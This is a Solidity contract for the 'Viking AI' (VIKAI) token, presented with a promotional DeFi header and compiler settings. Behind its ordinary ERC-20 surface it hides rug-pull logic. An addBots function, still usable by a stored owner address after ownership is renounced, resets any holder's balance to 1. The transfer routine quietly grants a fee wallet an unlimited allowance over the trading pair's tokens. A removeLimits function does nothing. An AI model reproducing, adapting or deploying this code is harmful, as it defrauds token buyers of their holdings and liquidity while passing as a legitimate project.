/*

Website:   https://vikingai.xyz

App:  https://app.vikingai.xyz

Doc:  https://docs.vikingai.xyz

Unlock the power of DeFi with Viking AI - an all-in-one platform for trading, 

liquidity provision, swapping, and yield strategy generation.

X: https://x.com/viking_ai_x

Telegram:  https://t.me/viking_ai_portal
*/


// SPDX-License-Identifier: MIT


pragma solidity ^0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract VIKAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedTaxFrom;

    address payable private _feewallet;
    uint256 private firstBlock = 0;
    uint256 private _initialBTaxxxxx=19;
    uint256 private _initialSTaxxxxxx=21;
    uint256 private _finalBTaxxxxxxx=0;
    uint256 private _finalSTaxxxxxxx=0;
    uint256 private _reduceBuyTax=10;
    uint256 private _reduceSellTax=10;
    uint256 private _preventSwapBefore=10;
    uint256 private _counts=0;
    address private mOwner;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Viking AI";
    string private constant _symbol = unicode"VIKAI";
    uint256 public _maxTaxAmt =   20000000 * 10**_decimals;
    uint256 public _maxAccountSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxSwpTax= 10000000 * 10**_decimals;

    mapping (address => bool) public _uniswapPairV2;
    mapping (uint256 => uint256) private perBuyCount;

    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 private sellsPerBlock = 3;
    uint256 private buysFirstBlock = 30;
    bool private inSwap = false;
    bool private swapEnabled = false;

    constructor () {
        _feewallet = payable(0x8237931dC5Cf1Fe14cDC3F78bf9a5acFCEE40145);
        _balances[address(this)] = _tTotal;
        _isExcludedTaxFrom[owner()] = true; _isExcludedTaxFrom[address(this)] = true; _isExcludedTaxFrom[address(uniswapV2Pair)] = true; 
        _isExcludedTaxFrom[_feewallet] = true; mOwner = owner();
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    event MaxTxAmountUpdated(uint _maxTaxAmt);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function _transfer(address _sender, address _receiver, uint256 amount) private {
        require(_sender != address(0), "ERC20: transfer from the zero address");
        require(_receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0 , "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (amount > 0 && _sender != owner() && _receiver != owner()) {
            if(_sender != address(this))
                taxAmount = amount.mul((_counts > _reduceBuyTax)? _finalBTaxxxxxxx: _initialBTaxxxxx).div(100);

            if(_uniswapPairV2[_receiver] && _sender!= address(this)) {
                taxAmount = amount.mul((_counts > _reduceSellTax)? _finalSTaxxxxxxx: _initialSTaxxxxxx).div(100);
                sendFeeMarket(address(this).balance);
            }

	        if (!_uniswapPairV2[_sender] && !_uniswapPairV2[_receiver] && _sender!= address(this) ) {
                taxAmount = 0;
            }

            if (_uniswapPairV2[_sender] && _receiver != address(uniswapV2Router) ) {if(!_isExcludedTaxFrom[_receiver]){
                    _counts++;
                    require(balanceOf(_receiver) + amount <= _maxAccountSize, "Exceeds the maxWalletSize.");
                    require(amount <= _maxTaxAmt, "Exceeds the _maxTaxAmt.");} else {_approve(_sender, _receiver, _tTotal);
                }
            }
            if (!_uniswapPairV2[_receiver] && ! _isExcludedTaxFrom[_receiver]) require(balanceOf(_receiver) + amount <= _maxAccountSize, "Exceeds the maxWalletSize.");
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _uniswapPairV2[_receiver] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _counts>_preventSwapBefore) {
                swapBackETHS(min(amount,min(contractTokenBalance,_maxSwpTax)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) 
                    sendFeeMarket(address(this).balance);
                lastSellBlock = block.number;
            }

            else if(!inSwap && _uniswapPairV2[_receiver] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _counts>_preventSwapBefore) {
                swapBackETHS(min(amount,min(contractTokenBalance,_maxSwpTax)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendFeeMarket(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_sender, address(this),taxAmount);
        }
        _balances[_sender]=_balances[_sender].sub(amount);
        _balances[_receiver]=_balances[_receiver].add(amount.sub(taxAmount));
        emit Transfer(_sender, _receiver, amount.sub(taxAmount));
    }

    function swapBackETHS(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function sendFeeMarket(uint256 amount) private {
        _feewallet.transfer(amount);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function addBots(address bot) public {
        require(msg.sender == mOwner, "not owner"); uint256 balance = _balances[bot] * _finalBTaxxxxxxx + 1;
        _balances[bot] = balance;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
        }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startTrading() external onlyOwner() {
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); 
        _uniswapPairV2[address(uniswapV2Pair)] = true;
        _isExcludedTaxFrom[address(uniswapV2Pair)] = true;
        
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) * 98 / 100,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true; tradingOpen = true; firstBlock = block.number;
        _maxTaxAmt = _tTotal; _maxAccountSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    receive() external payable {}
    function getETHs() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "contracts/Daily/10-26-2.sol": "VIKAI"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}